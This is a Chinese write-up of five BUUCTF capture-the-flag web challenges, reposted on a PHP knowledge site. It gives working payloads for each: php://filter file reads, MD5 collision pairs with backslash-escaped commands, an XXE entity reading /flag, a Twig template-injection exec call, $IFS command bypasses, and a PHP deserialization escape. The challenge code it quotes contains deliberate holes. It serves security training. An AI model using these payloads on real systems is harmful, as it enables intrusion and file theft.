IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUUCTF(4) -> 正文阅读

[PHP知识库]BUUCTF(4)

[BSidesCF 2020]Had a bad day 1

在这里插入图片描述
点击按钮会出现对应的参数和图片,尝试直接读取文件

在这里插入图片描述

发现用伪协议读取直接读取index.php的时候有反应,从前面报错可以看出来它会自带.php,所以只需要输入index即可

?category=php://filter/read=convert.base64-encode/resource=index在这里插入图片描述

<?php
  $file = $_GET['category'];
  
  if(isset($file))
  {
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){   //必须含有woofers或meowers或index字符串
      include ($file . '.php');  //参数后拼接.php
    }
    else{
      echo "Sorry, we currently only support woofers and meowers.";
    }
  }
?>

必须含有woofers、meowers、index,我们伪协议读取中间是可以加参数的,所以直接读取flag

?category=php://filter/read=convert.base64-encode/index/resource=flag

在这里插入图片描述

[安洵杯 2019]easy_web 1

发现img后面是一个base64,解密得到MzUzNTM1MmU3MDZlNjc=还是一个base64的加密,再解密:3535352e706e6716进制,解密:555.png,本来想着img一个远程的马然后cmd执行,发现没有反应,这里先将index加密过去读取源码

index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

在这里插入图片描述

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
} 

MD5强碰撞,然后就能执行cmd中的命令,直接查一对强碰撞

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

cmd的话,基本都被禁了,但是用一个\就能全部绕过

l\s /
ca\t /flag

在这里插入图片描述

得放到burp来进行执行,hackbar会自己进行一次编码,发现flag的位置,用ca\t直接拿flag

在这里插入图片描述

[NCTF2019]Fake XML cookbook 1

题目就提示到XML,这里也就想到XML注入,抓包,构造XML

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述
这里&admin也是构造中的一部分,直接get到flag

[BJDCTF2020]Cookie is so stable 1

在flag页面随意输入发现
在这里插入图片描述sql注入没有反应,尝试ssti注入,{{3*3}}
在这里插入图片描述

发现成功执行,但是执行命令时失败,这里抓包在cookie处注入

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在这里插入图片描述

[WUSTCTF2020]朴实无华 1

没有什么思路,查看robots.txt发现了/fAke_f1agggg.php在这里插入图片描述

的确是一个假的flag,又提示了一个/fl4g.php

在这里插入图片描述
有许多乱码,我用的火狐通过Alt,修复文字编码就改过来了
在这里插入图片描述

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

三层绕过,level1用科学计数法绕过,level2直接百度一个0e开头md5也是0e的即可:0e215962017
在这里插入图片描述
前两层完了就到了getflag这层了,先ls找一下flag的位置
在这里插入图片描述
cat被禁了就用tac,绕过空格用$IFS$9、${IFS}

fl4g.php?num=2019e10&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

在这里插入图片描述

[安洵杯 2019]easy_serialize_php 1

点开源代码如下

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

首先先让$function == 'phpinfo',查看这里面给了什么提示,这里有extract($_POST);所以我直接在POST里这样输入也能拿到phpinfo,
在这里插入图片描述
发现了一个d0g3_f1ag.php。
在这里插入图片描述


if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

这里审代码可以知道只要base64_decode($userinfo[‘img’])=d0g3_f1ag.php就能get到提示的php文件,那么就是要让$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==即可,而$userinfo[‘img’]是反序列化$serialize_info来的

 $userinfo = unserialize($serialize_info);

继续往前找,这里$serialize_info$_SESSION先被序列话再filter过滤后得到的

$serialize_info = filter(serialize($_SESSION));

再看$_SESSION,他被定义后由$_GET['img_path']传入的参数决定,但是这里有一个extract($_POST);,如果我们通过POST的方法给_SESSIO传入参数,那么就会造成变量覆盖,所以我们我们放弃$_GET['img_path']这里的传参

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

其实这里序列化后filter替换为空应该就能想到php反序列化字符逃逸,原理很简单,在反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,比如说反序列化{[][]}()}时,它只用而且只会识别{[][]},但是如果中间的[]}被过滤掉,那么后面的()}就会补上来,虽然()}是恶意构造的,但是仍然会执行,回到本题,如果我们构造

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

当这串字符串经过过滤函数之后,会变成:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

为什么这里是flagflagflagflagflagflag呢?其实完全是为了给后面恶意构造的参数留位置,因为后面有24个字符需要补上来,所以前面需要24个被过滤的字符,这里还需要注意一点,为什么加了三个参数,因为被吃了一个,但一开始就有三个参数,由于数量不能变,所以我们自己加一个。所以payload

POSTfunction=show_image&_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

查看源代码又提示

<?php
$flag = 'flag in /d0g3_fllllllag';
?>

同样的方法,因为base64(d0g3_fllllllag)后刚好也是24位,所以直接改上去

function=show_image&_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-16 12:50:44  更:2022-02-16 12:52:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:34:36-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码